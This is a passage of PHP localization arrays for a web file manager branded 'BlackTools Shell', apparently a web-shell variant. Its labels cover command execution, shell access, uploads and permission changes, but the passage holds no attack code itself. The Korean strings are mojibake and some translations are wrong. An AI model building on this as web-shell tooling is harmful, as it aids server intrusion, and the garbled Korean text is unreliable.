639 $kr['ConfTrySave'] = '파ì¼ì— 쓰기 ê¶Œí•œì´ ì—†ìŠµë‹ˆë‹¤.\\nê·¸ëž˜ë„ ì €ìž¥í•˜ì‹œê² ìŠµë‹ˆê¹Œ';
640 $kr['ConfSaved'] = 'í™˜ê²½ì´ ì €ìž¥ë˜ì—ˆìŠµë‹ˆë‹¤';
641 $kr['PassSaved'] = '비밀번호 ì €ìž¥';
642 $kr['FileDirExists'] = 'íŒŒì¼ ë˜ëŠ” ë””ë ‰í† ë¦¬ê°€ ì´ë¯¸ 존재합니다';
643 $kr['NoPhpinfo'] = 'PHPINFO()를 ì‚¬ìš©í• ìˆ˜ 없습니다';
644 $kr['NoReturn'] = '반환값 ì—†ìŒ';
645 $kr['FileSent'] = 'íŒŒì¼ ì „ì†¡';
646 $kr['SpaceLimReached'] = 'ì €ìž¥ê³µê°€ ì—¬ìœ ê°€ 없습니다';
647 $kr['InvExt'] = 'ìœ íš¨í•˜ì§€ ì•Šì€ í™•ìž¥ìž';
648 $kr['FileNoOverw'] = '파ì¼ì„ ë®ì–´ 쓸수 없습니다';
649 $kr['FileOverw'] = '파ì¼ì„ ë®ì–´ ì¼ìŠµë‹ˆë‹¤';
650 $kr['FileIgnored'] = '파ì¼ì´ 무시ë˜ì—ˆìŠµë‹ˆë‹¤';
651 $kr['ChkVer'] = 'ì—서 ìƒˆë²„ì „ 확ì¸';
652 $kr['ChkVerAvailable'] = '새로운 ë²„ì „ì´ ìžˆìŠµë‹ˆë‹¤. ë‹¤ìš´ë°›ìœ¼ë ¤ë©´ í´ë¦í•˜ì„¸ìš”!!';
653 $kr['ChkVerNotAvailable'] = '새로운 ë²„ì „ì´ ì—†ìŠµë‹ˆë‹¤. :(';
654 $kr['ChkVerError'] = '연결 오류';
655 $kr['Website'] = '웹사ì´íЏ';
656 $kr['SendingForm'] = '파ì¼ì„ ì „ì†¡ì¤‘ìž…ë‹ˆë‹¤. 기다리세요';
657 $kr['NoFileSel'] = '파ì¼ì´ ì„ íƒë˜ì§€ 않았습니다';
658 $kr['SelAll'] = 'ëª¨ë“ ';
659 $kr['SelNone'] = 'ì œë¡œ';
660 $kr['SelInverse'] = 'ì—';
661
662 // German - by Guido Ogrzal
663 $de1['Version'] = 'Version';
664 $de1['DocRoot'] = 'Dokument Wurzelverzeichnis';
665 $de1['FLRoot'] = 'Dateimanager Wurzelverzeichnis';
666 $de1['Name'] = 'Name';
667 $de1['And'] = 'und';
668 $de1['Enter'] = 'Eintreten';
669 $de1['Send'] = 'Senden';
670 $de1['Refresh'] = 'Aktualisieren';
671 $de1['SaveConfig'] = 'Konfiguration speichern';
672 $de1['SavePass'] = 'Passwort speichern';
673 $de1['SaveFile'] = 'Datei speichern';
674 $de1['Save'] = 'Speichern';
675 $de1['Leave'] = 'Verlassen';
676 $de1['Edit'] = 'Bearbeiten';
677 $de1['View'] = 'Ansehen';
678 $de1['Config'] = 'Konfigurieren';
679 $de1['Ren'] = 'Umbenennen';
680 $de1['Rem'] = 'Löschen';
681 $de1['Compress'] = 'Komprimieren';
682 $de1['Decompress'] = 'Dekomprimieren';
683 $de1['ResolveIDs'] = 'Resolve IDs';
684 $de1['Move'] = 'Verschieben';
685 $de1['Copy'] = 'Kopieren';
686 $de1['ServerInfo'] = 'Server-Info';
687 $de1['CreateDir'] = 'Neues Verzeichnis';
688 $de1['CreateArq'] = 'Neue Datei';
689 $de1['ExecCmd'] = 'Kommando';
690 $de1['Upload'] = 'Datei hochladen';
691 $de1['UploadEnd'] = 'Datei hochladen beendet';
692 $de1['Perm'] = 'Erlaubnis';
693 $de1['Perms'] = 'Erlaubnis';
694 $de1['Owner'] = 'Besitzer';
695 $de1['Group'] = 'Gruppe';
696 $de1['Other'] = 'Andere';
697 $de1['Size'] = 'Größe';
698 $de1['Date'] = 'Datum';
699 $de1['Type'] = 'Typ';
700 $de1['Free'] = 'frei';
701 $de1['Shell'] = 'Shell';
702 $de1['Read'] = 'Lesen';
703 $de1['Write'] = 'Schreiben';
704 $de1['Exec'] = 'Ausführen';
705 $de1['Apply'] = 'Bestätigen';
706 $de1['StickyBit'] = 'Sticky Bit';
707 $de1['Pass'] = 'Passwort';
708 $de1['Lang'] = 'Sprache';
709 $de1['File'] = 'Datei';
710 $de1['File_s'] = 'Datei(en)';
711 $de1['Dir_s'] = 'Verzeichniss(e)';
712 $de1['To'] = '->';
713 $de1['Destination'] = 'Ziel';
714 $de1['Configurations'] = 'Konfiguration';
715 $de1['JSError'] = 'JavaScript Fehler';
716 $de1['NoSel'] = 'Es gibt keine selektierten Objekte';
717 $de1['SelDir'] = 'Selektiere das Zielverzeichnis im linken Verzeichnisbaum';
718 $de1['TypeDir'] = 'Trage den Verzeichnisnamen ein';
719 $de1['TypeArq'] = 'Trage den Dateinamen ein';
720 $de1['TypeCmd'] = 'Gib das Kommando ein';
721 $de1['TypeArqComp'] = 'Trage den Dateinamen ein.\\nDie Dateierweiterung wird den Kompressiontyp bestimmen.\\nBsp.:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip';
722 $de1['RemSel'] = 'LÖSCHE die selektierten Objekte';
723 $de1['NoDestDir'] = 'Das selektierte Zielverzeichnis existiert nicht';
724 $de1['DestEqOrig'] = 'Quell- und Zielverzeichnis stimmen überein';
725 $de1['InvalidDest'] = 'Zielverzeichnis ist ungültig';
726 $de1['NoNewPerm'] = 'Neue Zugriffserlaubnis konnte nicht gesetzt werden';
727 $de1['CopyTo'] = 'KOPIERE nach';
728 $de1['MoveTo'] = 'VERSCHIEBE nach';
729 $de1['AlterPermTo'] = 'ÄNDERE ZUGRIFFSERLAUBSNIS in';
730 $de1['ConfExec'] = 'Bestätige AUSFÜHRUNG';
731 $de1['ConfRem'] = 'Bestätige LÖSCHEN';
732 $de1['EmptyDir'] = 'Leeres Verzeichnis';
733 $de1['IOError'] = 'Eingabe/Ausgabe-Fehler';
734 $de1['FileMan'] = 'BlackTools Shell';
735 $de1['TypePass'] = 'Trage das Passwort ein';
736 $de1['InvPass'] = 'Ungültiges Passwort';
737 $de1['ReadDenied'] = 'Lesezugriff verweigert';
738 $de1['FileNotFound'] = 'Datei nicht gefunden';
739 $de1['AutoClose'] = 'Schließen, wenn fertig';
740 $de1['OutDocRoot'] = 'Datei außerhalb von DOCUMENT_ROOT';
741 $de1['NoCmd'] = 'Fehler: Es wurde kein Kommando eingetragen';
742 $de1['ConfTrySave'] = 'Keine Schreibberechtigung für die Datei.\\nVersuche trotzdem zu speichern';
743 $de1['ConfSaved'] = 'Konfiguration gespeichert';
744 $de1['PassSaved'] = 'Passwort gespeichert';
745 $de1['FileDirExists'] = 'Datei oder Verzeichnis existiert schon';
746 $de1['NoPhpinfo'] = 'Funktion phpinfo ist inaktiv';
747 $de1['NoReturn'] = 'keine Rückgabe';
748 $de1['FileSent'] = 'Datei wurde gesendet';
749 $de1['SpaceLimReached'] = 'Verfügbares Speicherlimit wurde erreicht';
750 $de1['InvExt'] = 'Ungültige Dateiendung';
751 $de1['FileNoOverw'] = 'Datei kann nicht überschrieben werden';
752 $de1['FileOverw'] = 'Datei überschrieben';
753 $de1['FileIgnored'] = 'Datei ignoriert';
754 $de1['ChkVer'] = 'Prüfe auf neue Version';
755 $de1['ChkVerAvailable'] = 'Neue Version verfügbar; klicke hier, um den Download zu starten!!';
756 $de1['ChkVerNotAvailable'] = 'Keine neue Version gefunden. :(';
757 $de1['ChkVerError'] = 'Verbindungsfehler.';
758 $de1['Website'] = 'Webseite';
759 $de1['SendingForm'] = 'Sende Dateien... Bitte warten.';
760 $de1['NoFileSel'] = 'Keine Datei selektiert';
761 $de1['SelAll'] = 'Alle';
762 $de1['SelNone'] = 'Keine';
763 $de1['SelInverse'] = 'Invertieren';
764 $de1['Selected_s'] = 'selektiert';
765 $de1['Total'] = 'Gesamt';
766 $de1['Partition'] = 'Partition';
767 $de1['RenderTime'] = 'Zeit, um die Seite anzuzeigen';
768 $de1['Seconds'] = 's';
769 $de1['ErrorReport'] = 'Fehlerreport';
770
771 // German - by AXL
772 $de2['Version'] = 'Version';
773 $de2['DocRoot'] = 'Document Stammverzeichnis';
774 $de2['FLRoot'] = 'Datei Manager Stammverzeichnis';
775 $de2['Name'] = 'Name';
776 $de2['And'] = 'und';
777 $de2['Enter'] = 'Enter';
778 $de2['Send'] = 'Senden';
779 $de2['Refresh'] = 'Aktualisieren';
780 $de2['SaveConfig'] = 'Konfiguration speichern';
781 $de2['SavePass'] = 'Passwort speichern';
782 $de2['SaveFile'] = 'Datei speichern';
783 $de2['Save'] = 'Speichern';
784 $de2['Leave'] = 'Verlassen';
785 $de2['Edit'] = 'Bearb.';
786 $de2['View'] = 'Anzeigen';
787 $de2['Config'] = 'Konfigurieren';
788 $de2['Ren'] = 'Umb.';
789 $de2['Rem'] = 'Löschen';
790 $de2['Compress'] = 'Komprimieren';
791 $de2['Decompress'] = 'De-Komprimieren';
792 $de2['ResolveIDs'] = 'IDs auflösen';
793 $de2['Move'] = 'Versch.';
794 $de2['Copy'] = 'Kopie';
795 $de2['ServerInfo'] = 'Server Info';
796 $de2['CreateDir'] = 'Verzeichnis erstellen';
797 $de2['CreateArq'] = 'Datei erstellen';
798 $de2['ExecCmd'] = 'Befehl ausführen';
799 $de2['Upload'] = 'Upload';
800 $de2['UploadEnd'] = 'Upload abgeschlossen';
801 $de2['Perm'] = 'Rechte';
802 $de2['Perms'] = 'Rechte';
803 $de2['Owner'] = 'Besitzer';
804 $de2['Group'] = 'Gruppe';
805 $de2['Other'] = 'Andere';
806 $de2['Size'] = 'Größe';
807 $de2['Date'] = 'Datum';
808 $de2['Type'] = 'Typ';
809 $de2['Free'] = 'frei';
810 $de2['Shell'] = 'Shell';
811 $de2['Read'] = 'Read';
812 $de2['Write'] = 'Write';
813 $de2['Exec'] = 'Execute';
814 $de2['Apply'] = 'Anwenden';
815 $de2['StickyBit'] = 'Sticky Bit';
816 $de2['Pass'] = 'Passwort';
817 $de2['Lang'] = 'Sprache';
818 $de2['File'] = 'Datei';
819 $de2['File_s'] = 'Datei(en)';
820 $de2['Dir_s'] = 'Verzeichnis(se)';
821 $de2['To'] = 'an';
822 $de2['Destination'] = 'Ziel';
823 $de2['Configurations'] = 'Konfigurationen';
824 $de2['JSError'] = 'JavaScript Fehler';
825 $de2['NoSel'] = 'Keine Einträge ausgewählt';
826 $de2['SelDir'] = 'Wählen Sie das Zeilverzeichnis im Verzeichnis links';
827 $de2['TypeDir'] = 'Geben Sie den Verzeichnisnamen ein';
828 $de2['TypeArq'] = 'Geben Sie den Dateinamen ein';
829 $de2['TypeCmd'] = 'Geben Sie den Befehl ein';
830 $de2['TypeArqComp'] = 'Geben Sie den Dateinamen ein.\\nDie Datei-Extension legt den Kopressionstyp fest.\\nBeispiel:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip';
831 $de2['RemSel'] = 'Ausgewählte Dateien LÖSCHEN';
832 $de2['NoDestDir'] = 'Es wurde kein Zielverzeichnis angegeben';
833 $de2['DestEqOrig'] = 'Quell- und Zielverzeichnis sind identisch';
834 $de2['InvalidDest'] = 'Zielverzeichnis ungültig';
835 $de2['NoNewPerm'] = 'Unzureichende Rechte';
836 $de2['CopyTo'] = 'KOPIEREN nach';
837 $de2['MoveTo'] = 'VERSCHIEBEN nach';
838 $de2['AlterPermTo'] = 'RECHTE ÄNDERN in';
839 $de2['ConfExec'] = 'Bestätigung AUSFÜHREN';
840 $de2['ConfRem'] = 'Bestätigung LÖSCHEN';
841 $de2['EmptyDir'] = 'Leeres Verzeichnis';
842 $de2['IOError'] = 'Ein-/Ausgabe-Fehler';
843 $de2['FileMan'] = 'BlackTools Shell';
844 $de2['TypePass'] = 'Bitte geben Sie das Passwort ein';
845 $de2['InvPass'] = 'Ungültiges Passwort';
846 $de2['ReadDenied'] = 'Leasezugriff verweigert';
847 $de2['FileNotFound'] = 'Datei nicht gefunden';
848 $de2['AutoClose'] = 'Schliessen nach Beenden';
849 $de2['OutDocRoot'] = 'Datei oberhalb DOCUMENT_ROOT';
850 $de2['NoCmd'] = 'Fehler: Befehl nicht informed';
851 $de2['ConfTrySave'] = 'Datei ohne Schreibberechtigung.\\nTrotzdem versuchen zu speichern';
852 $de2['ConfSaved'] = 'Konfigurationen gespeichert';
853 $de2['PassSaved'] = 'Passwort gespeichert';
854 $de2['FileDirExists'] = 'Datei oder Verzeichnis existiert bereits';
855 $de2['NoPhpinfo'] = 'Funktion phpinfo ausgeschaltet';
856 $de2['NoReturn'] = 'keine Rückgabe';
857 $de2['FileSent'] = 'Datei versandt';
858 $de2['SpaceLimReached'] = 'Plattenplatz erschöpft';
859 $de2['InvExt'] = 'Ungültige datei-Extension';
860 $de2['FileNoOverw'] = 'Datei kann nicht überschrieben werden';
861 $de2['FileOverw'] = 'Datei überschrieben';
862 $de2['FileIgnored'] = 'Datei ignoriert';
863 $de2['ChkVer'] = 'Überprüfe neuer Version';
864 $de2['ChkVerAvailable'] = 'Neue Version. Hier klicken für Download!!';
865 $de2['ChkVerNotAvailable'] = 'Keine neue Version verfügbar. :(';
866 $de2['ChkVerError'] = 'Verbindungsfehler.';
867 $de2['Website'] = 'Webseite';
868 $de2['SendingForm'] = 'Sende Dateien, bitte warten';
869 $de2['NoFileSel'] = 'Keine Dateien ausgewählt';
870 $de2['SelAll'] = 'Alle';
871 $de2['SelNone'] = 'Keine';
872 $de2['SelInverse'] = 'Invers';
873 $de2['Selected_s'] = 'ausgewählt';
874 $de2['Total'] = 'Total';
875 $de2['Partition'] = 'Partition';
876 $de2['RenderTime'] = 'Zeit zum Erzeugen der Seite';
877 $de2['Seconds'] = 'Sekunden';
878 $de2['ErrorReport'] = 'Fehler berichten';
879
880 // German - by Mathias Rothe
881 $de3['Version'] = 'Version';
882 $de3['DocRoot'] = 'Dokumenten Root';
883 $de3['FLRoot'] = 'Datei Manager Root';
884 $de3['Name'] = 'Name';
885 $de3['And'] = 'und';
886 $de3['Enter'] = 'Enter';
887 $de3['Send'] = 'Senden';
888 $de3['Refresh'] = 'Refresh';
889 $de3['SaveConfig'] = 'Konfiguration speichern';
890 $de3['SavePass'] = 'Passwort speichern';
891 $de3['SaveFile'] = 'Datei speichern';
892 $de3['Save'] = 'Speichern';
893 $de3['Leave'] = 'Abbrechen';
894 $de3['Edit'] = 'Bearbeiten';
895 $de3['View'] = 'Anzeigen';
896 $de3['Config'] = 'Konfiguration';
897 $de3['Ren'] = 'Umbenennen';
898 $de3['Rem'] = 'Entfernen';
899 $de3['Compress'] = 'Packen';
900 $de3['Decompress'] = 'Entpacken';
901 $de3['ResolveIDs'] = 'IDs aufloesen';
902 $de3['Move'] = 'Verschieben';
903 $de3['Copy'] = 'Kopie';
904 $de3['ServerInfo'] = 'Server Info';
905 $de3['CreateDir'] = 'Neuer Ordner';
906 $de3['CreateArq'] = 'Neue Datei';
907 $de3['ExecCmd'] = 'Befehl ausfuehren';
908 $de3['Upload'] = 'Upload';
909 $de3['UploadEnd'] = 'Upload beendet';
910 $de3['Perm'] = 'Rechte';
911 $de3['Perms'] = 'Rechte';
912 $de3['Owner'] = 'Eigent';
913 $de3['Group'] = 'Gruppe';
914 $de3['Other'] = 'Andere';
915 $de3['Size'] = 'Groesse';
916 $de3['Date'] = 'Datum';
917 $de3['Type'] = 'Typ';
918 $de3['Free'] = 'frei';
919 $de3['Shell'] = 'Shell';
920 $de3['Read'] = 'Lesen';
921 $de3['Write'] = 'Schreiben';
922 $de3['Exec'] = 'Ausfuehren';
923 $de3['Apply'] = 'Bestaetigen';
924 $de3['StickyBit'] = 'Sticky Bit';
925 $de3['Pass'] = 'Passwort';
926 $de3['Lang'] = 'Sprache';
927 $de3['File'] = 'Datei';
928 $de3['File_s'] = 'Datei(en)';
929 $de3['Dir_s'] = 'Ordner';
930 $de3['To'] = 'nach';
931 $de3['Destination'] = 'Ziel';
932 $de3['Configurations'] = 'Konfiguration';
933 $de3['JSError'] = 'JavaScript Error';
934 $de3['NoSel'] = 'Keine Objekte ausgewaehlt';
935 $de3['SelDir'] = 'Waehlen Sie links das Zielverzeichnis aus';
936 $de3['TypeDir'] = 'Verzeichnisname eingeben';
937 $de3['TypeArq'] = 'Dateiname eingeben';
938 $de3['TypeCmd'] = 'Befehl eingeben';
939 $de3['TypeArqComp'] = 'Dateinamen eingeben.\\nDie Erweiterung definiert den Archiv-Typ.\\nEx:\\nname.zip\\nname.tar\\nname.bzip\\nname.gzip';
940 $de3['RemSel'] = 'Entferne ausgewaehlte Objekte';
941 $de3['NoDestDir'] = 'Kein Zielverzeichnis ausgewaehlt';
942 $de3['DestEqOrig'] = 'Quelle und Zielverzeichnis sind gleich';
943 $de3['InvalidDest'] = 'Zielverzeichnis ungueltig';
944 $de3['NoNewPerm'] = 'Neue Rechte nicht gesetzt';
945 $de3['CopyTo'] = 'Kopiere nach';
946 $de3['MoveTo'] = 'Verschiebe nach';
947 $de3['AlterPermTo'] = 'Aendere Rechte zu';
948 $de3['ConfExec'] = 'Ausfuehren bestaetigen';
949 $de3['ConfRem'] = 'Entfernen bestaetigen';
950 $de3['EmptyDir'] = 'Leerer Ordner';
951 $de3['IOError'] = 'I/O Fehler';
952 $de3['FileMan'] = 'PHP Datei Manager';
953 $de3['TypePass'] = 'Bitte Passwort eingeben';
954 $de3['InvPass'] = 'Falsches Passwort';
955 $de3['ReadDenied'] = 'Kein Lesezugriff';
956 $de3['FileNotFound'] = 'Datei nicht gefunden';
957 $de3['AutoClose'] = 'Beenden bei Fertigstellung';
958 $de3['OutDocRoot'] = 'Datei ausserhalb des DOCUMENT_ROOT';
959 $de3['NoCmd'] = 'Fehler: unbekannter Befehl';
960 $de3['ConfTrySave'] = 'Datei ohne Schreibrecht.\\nVersuche dennoch zu speichern';
961 $de3['ConfSaved'] = 'Konfiguration gespeichert';
962 $de3['PassSaved'] = 'Passwort gespeichert';
963 $de3['FileDirExists'] = 'Datei oder Verzeichnis existiert bereits';
964 $de3['NoPhpinfo'] = 'Funktion phpinfo gesperrt';
965 $de3['NoReturn'] = 'kein zurueck';
966 $de3['FileSent'] = 'Datei gesendet';
967 $de3['SpaceLimReached'] = 'Speicherplatz Grenze erreicht';
968 $de3['InvExt'] = 'Ungueltige Erweiterung';
969 $de3['FileNoOverw'] = 'Datei konnte nicht ueberschrieben werden';
970 $de3['FileOverw'] = 'Datei ueberschrieben';
971 $de3['FileIgnored'] = 'Datei ignoriert';
972 $de3['ChkVer'] = 'Puefe eine neuere Version';
973 $de3['ChkVerAvailable'] = 'Neue Version, hier klicken zum Download!!';
974 $de3['ChkVerNotAvailable'] = 'Keine neuere Version vorhanden. :(';
975 $de3['ChkVerError'] = 'Verbindungsfehler.';
976 $de3['Website'] = 'Website';
977 $de3['SendingForm'] = 'Dateien werden gesendet, bitte warten';
978 $de3['NoFileSel'] = 'Keine Datei ausgewaehlt';
979 $de3['SelAll'] = 'Alle';
980 $de3['SelNone'] = 'Keine';
981 $de3['SelInverse'] = 'Invertiere';
982 $de3['Selected_s'] = 'ausgewaehlt';
983 $de3['Total'] = 'gesamt';
984 $de3['Partition'] = 'Partition';
985 $de3['RenderTime'] = 'Zeit zur Erzeugung dieser Seite';
986 $de3['Seconds'] = 'sec';
987 $de3['ErrorReport'] = 'Fehlermeldungen';
988
989 // French - by Jean Bilwes
990 $fr1['Version'] = 'Version';
991 $fr1['DocRoot'] = 'Racine des documents';
992 $fr1['FLRoot'] = 'Racine du gestionnaire de fichers';
993 $fr1['Name'] = 'Nom';
994 $fr1['And'] = 'et';
995 $fr1['Enter'] = 'Enter';
996 $fr1['Send'] = 'Envoyer';
997 $fr1['Refresh'] = 'Rafraichir';
998 $fr1['SaveConfig'] = 'Enregistrer la Configuration';
999 $fr1['SavePass'] = 'Enregistrer le mot de passe';
1000 $fr1['SaveFile'] = 'Enregistrer le fichier';
1001 $fr1['Save'] = 'Enregistrer';
1002 $fr1['Leave'] = 'Quitter';
1003 $fr1['Edit'] = 'Modifier';
1004 $fr1['View'] = 'Voir';
1005 $fr1['Config'] = 'Config';
1006 $fr1['Ren'] = 'Renommer';
1007 $fr1['Rem'] = 'Detruire';
1008 $fr1['Compress'] = 'Compresser';
1009 $fr1['Decompress'] = 'Decompresser';
1010 $fr1['ResolveIDs'] = 'Resoudre les IDs';
1011 $fr1['Move'] = 'Déplacer';
1012 $fr1['Copy'] = 'Copier';
1013 $fr1['ServerInfo'] = 'info du sreveur';
1014 $fr1['CreateDir'] = 'Créer un répertoire';
1015 $fr1['CreateArq'] = 'Créer un fichier';
1016 $fr1['ExecCmd'] = 'Executer une Commande';
1017 $fr1['Upload'] = 'Téléversement(upload)';
1018 $fr1['UploadEnd'] = 'Téléversement Fini';
1019 $fr1['Perm'] = 'Perm';
1020 $fr1['Perms'] = 'Permissions';
1021 $fr1['Owner'] = 'Propriétaire';
1022 $fr1['Group'] = 'Groupe';
1023 $fr1['Other'] = 'Autre';
1024 $fr1['Size'] = 'Taille';
1025 $fr1['Date'] = 'Date';
1026 $fr1['Type'] = 'Type';
1027 $fr1['Free'] = 'libre';
1028 $fr1['Shell'] = 'Shell';
1029 $fr1['Read'] = 'Lecture';
1030 $fr1['Write'] = 'Ecriture';
1031 $fr1['Exec'] = 'Executer';
1032 $fr1['Apply'] = 'Appliquer';
1033 $fr1['StickyBit'] = 'Sticky Bit';
1034 $fr1['Pass'] = 'Mot de passe';
1035 $fr1['Lang'] = 'Langage';
1036 $fr1['File'] = 'Fichier';
1037 $fr1['File_s'] = 'fichier(s)';
1038 $fr1['Dir_s'] = 'répertoire(s)';
1039 $fr1['To'] = 'Ã ';
1040 $fr1['Destination'] = 'Destination';
1041 $fr1['Configurations'] = 'Configurations';
1042 $fr1['JSError'] = 'Erreur JavaScript';
1043 $fr1['NoSel'] = 'Rien n\'est sélectionné';
1044 $fr1['SelDir'] = 'Selectionnez le répertoire de destination dans le panneau gauche';
1045 $fr1['TypeDir'] = 'Entrer le nom du répertoire';
1046 $fr1['TypeArq'] = 'Entrer le nom du fichier';
1047 $fr1['TypeCmd'] = 'Entrer la commande';
1048 $fr1['TypeArqComp'] = 'Entrer le nom du fichier.\\nL\'extension définira le type de compression.\\nEx:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip';
1049 $fr1['RemSel'] = 'EFFACER les objets sélectionnés';
1050 $fr1['NoDestDir'] = 'Aucun répertoire de destination n\'est sélectionné';
1051 $fr1['DestEqOrig'] = 'Les répertoires source et destination sont identiques';
1052 $fr1['InvalidDest'] = 'Le répertoire de destination est invalide';
1053 $fr1['NoNewPerm'] = 'Nouvelle permission non établie';
1054 $fr1['CopyTo'] = 'COPIER vers';
1055 $fr1['MoveTo'] = 'DEPLACER vers';
1056 $fr1['AlterPermTo'] = 'CHANGER LES PERMISSIONS';
1057 $fr1['ConfExec'] = 'Confirmer l\'EXECUTION';
1058 $fr1['ConfRem'] = 'Confirmer la DESTRUCTION';
1059 $fr1['EmptyDir'] = 'Répertoire vide';
1060 $fr1['IOError'] = 'I/O Error';
1061 $fr1['FileMan'] = 'BlackTools Shell';
1062 $fr1['TypePass'] = 'Entrer le mot de passe';
1063 $fr1['InvPass'] = 'Mot de passe invalide';
1064 $fr1['ReadDenied'] = 'Droit de lecture refusé';
1065 $fr1['FileNotFound'] = 'Fichier introuvable';
1066 $fr1['AutoClose'] = 'Fermer sur fin';
1067 $fr1['OutDocRoot'] = 'Fichier au delà de DOCUMENT_ROOT';
1068 $fr1['NoCmd'] = 'Erreur: Commande non renseignée';
1069 $fr1['ConfTrySave'] = 'Fichier sans permission d\'écriture.\\nJ\'essaie de l\'enregister';
1070 $fr1['ConfSaved'] = 'Configurations enreristrée';
1071 $fr1['PassSaved'] = 'Mot de passe enreristré';
1072 $fr1['FileDirExists'] = 'Le fichier ou le répertoire existe déjà ';
1073 $fr1['NoPhpinfo'] = 'Function phpinfo désactivée';
1074 $fr1['NoReturn'] = 'pas de retour';
1075 $fr1['FileSent'] = 'Fichier envoyé';
1076 $fr1['SpaceLimReached'] = 'Espace maxi atteint';
1077 $fr1['InvExt'] = 'Extension invalide';
1078 $fr1['FileNoOverw'] = 'Le fichier ne peut pas etre écrasé';
1079 $fr1['FileOverw'] = 'Fichier écrasé';
1080 $fr1['FileIgnored'] = 'Fichier ignoré';
1081 $fr1['ChkVer'] = 'Verifier nouvelle version';
1082 $fr1['ChkVerAvailable'] = 'Nouvelle version, cliquer ici pour la téléchager!!';
1083 $fr1['ChkVerNotAvailable'] = 'Aucune mise a jour de disponible. :(';
1084 $fr1['ChkVerError'] = 'Erreur de connection.';
1085 $fr1['Website'] = 'siteweb';
1086 $fr1['SendingForm'] = 'Envoi des fichiers en cours, Patienter';
1087 $fr1['NoFileSel'] = 'Aucun fichier sélectionné';
1088 $fr1['SelAll'] = 'Tous';
1089 $fr1['SelNone'] = 'Aucun';
1090 $fr1['SelInverse'] = 'Inverser';
1091 $fr1['Selected_s'] = 'selectioné';
1092 $fr1['Total'] = 'total';
1093 $fr1['Partition'] = 'Partition';
1094 $fr1['RenderTime'] = 'Temps pour afficher cette page';
1095 $fr1['Seconds'] = 'sec';
1096 $fr1['ErrorReport'] = 'Rapport d\'erreur';
1097
1098 // French - by Sharky
1099 $fr2['Version'] = 'Version';
1100 $fr2['DocRoot'] = 'Racine document';
1101 $fr2['FLRoot'] = 'Gestion des fichiers racine';
1102 $fr2['Name'] = 'Nom';
1103 $fr2['And'] = 'et';
1104 $fr2['Enter'] = 'Entrer';
1105 $fr2['Send'] = 'Envoi';
1106 $fr2['Refresh'] = 'Rafraîchir';
1107 $fr2['SaveConfig'] = 'Sauver configurations';
1108 $fr2['SavePass'] = 'Sauver mot de passe';
1109 $fr2['SaveFile'] = 'Sauver fichier';
1110 $fr2['Save'] = 'Sauver';
1111 $fr2['Leave'] = 'Permission';
1112 $fr2['Edit'] = 'Éditer';
1113 $fr2['View'] = 'Afficher';
1114 $fr2['Config'] = 'config';
1115 $fr2['Ren'] = 'Renommer';
1116 $fr2['Rem'] = 'Effacer';
1117 $fr2['Compress'] = 'Compresser';
1118 $fr2['Decompress'] = 'Décompresser';
1119 $fr2['ResolveIDs'] = 'Résoudre ID';
1120 $fr2['Move'] = 'Déplacer';
1121 $fr2['Copy'] = 'Copier';
1122 $fr2['ServerInfo'] = 'Information Serveur';
1123 $fr2['CreateDir'] = 'Créer un répertoire';
1124 $fr2['CreateArq'] = 'Créer un fichier';
1125 $fr2['ExecCmd'] = 'Executé une commande';
1126 $fr2['Upload'] = 'Transférer';
1127 $fr2['UploadEnd'] = 'Transfert terminé';
1128 $fr2['Perm'] = 'Perm';
1129 $fr2['Perms'] = 'Permissions';
1130 $fr2['Owner'] = 'Propriétaire';
1131 $fr2['Group'] = 'Groupe';
1132 $fr2['Other'] = 'Autre';
1133 $fr2['Size'] = 'Taille';
1134 $fr2['Date'] = 'date';
1135 $fr2['Type'] = 'Type';
1136 $fr2['Free'] = 'Libre';
1137 $fr2['Shell'] = 'Shell';
1138 $fr2['Read'] = 'lecture';
1139 $fr2['Write'] = 'écriture';
1140 $fr2['Exec'] = 'Execute';
1141 $fr2['Apply'] = 'Appliquer';
1142 $fr2['StickyBit'] = 'Bit figer';
1143 $fr2['Pass'] = 'mot de passe';
1144 $fr2['Lang'] = 'Language';
1145 $fr2['File'] = 'Fichier';
1146 $fr2['File_s'] = 'fichier(s)';
1147 $fr2['Dir_s'] = 'répertoire(s)';
1148 $fr2['To'] = 'Ã ';
1149 $fr2['Destination'] = 'Destination';
1150 $fr2['Configurations'] = 'Configurations';
1151 $fr2['JSError'] = 'Erreur JavaScript';
1152 $fr2['NoSel'] = 'Il n\'y a pas d\'objets sélectionnés';
1153 $fr2['SelDir'] = 'Sélectionnez le répertoire de destination sur l\'arborescence de gauche';
1154 $fr2['TypeDir'] = 'Entrez le nom du répertoire';
1155 $fr2['TypeArq'] = 'Entrez le nom du fichier';
1156 $fr2['TypeCmd'] = 'Entrez la commande';
1157 $fr2['TypeArqComp'] = 'Entrez le fichier.\\nL\'extension définira le type de compression.\\nEx:\\nnom.zip\\nnom.tar\\nnom.bzip\\nnom.gzip';
1158 $fr2['RemSel'] = 'EFFACEZ l\'objet sélectionné';
1159 $fr2['NoDestDir'] = 'Il n\'y a aucun répertoire de destination sélectionné';
1160 $fr2['DestEqOrig'] = 'Origine et répertoires de destination sont identique';
1161 $fr2['InvalidDest'] = 'Répertoire de destination est invalide';
1162 $fr2['NoNewPerm'] = 'Nouvelle autorisation n\'a pas été configuré';
1163 $fr2['CopyTo'] = 'COPIE dans';
1164 $fr2['MoveTo'] = 'DÉPLACER dans';
1165 $fr2['AlterPermTo'] = 'CHANGER PERMISSIONS dans';
1166 $fr2['ConfExec'] = 'Confirmer EXECUTE';
1167 $fr2['ConfRem'] = 'Confirmer EFFACER';
1168 $fr2['EmptyDir'] = 'Répertoire vide';
1169 $fr2['IOError'] = 'I/O Erreur';
1170 $fr2['FileMan'] = 'BlackTools Shell';
1171 $fr2['TypePass'] = 'Entrer le mot de passe';
1172 $fr2['InvPass'] = 'Mot de passe invalide';
1173 $fr2['ReadDenied'] = 'Accès en lecture refuser';
1174 $fr2['FileNotFound'] = 'Fichier non-trouvé';
1175 $fr2['AutoClose'] = 'Fermez a la fin';
1176 $fr2['OutDocRoot'] = 'Fichier au-delà DOCUMENT_ROOT';
1177 $fr2['NoCmd'] = 'Erreur: Commande inconnue';
1178 $fr2['ConfTrySave'] = 'Fichier sans permission d\'écriture.\\nEssayez de sauver';
1179 $fr2['ConfSaved'] = 'Configurations sauvée';
1180 $fr2['PassSaved'] = 'Mot de passe sauvé';
1181 $fr2['FileDirExists'] = 'Fichier ou répertoire déjà existant';
